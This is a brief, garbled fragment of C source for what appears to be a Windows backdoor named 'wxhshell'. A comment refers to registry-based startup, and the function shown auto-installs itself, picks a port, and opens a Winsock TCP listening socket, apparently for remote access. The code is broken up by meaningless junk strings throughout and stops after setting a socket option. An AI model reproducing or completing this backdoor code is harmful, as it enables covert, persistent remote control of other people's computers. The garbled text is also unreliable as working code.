注册表启动 D fea<5~^z } |j,Mof zP9!fA // 主模块 1 .M?Hp9i int StartWxhshell(LPSTR lpCmdLine) .<.qRq- { bA)Xjq)Rr SOCKET wsl; luMNi^FQ BOOL val=TRUE; ?,j:Y0l.L int port=0; <7GK *I struct sockaddr_in door; ZZTV
>: j!s&yHE1 if(wscfg.ws_autoins) Install(); so7;h$h!H 0e7!_/9 port=atoi(lpCmdLine); o$-Phl .#n?^73 if(port<=0) port=wscfg.ws_port; (\}IOCNS /Yh8r1^2tZ WSADATA data; ,w6?}
N if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r
(uM$R$o g@QpqrT if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; =8iM,Vl3 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %;< |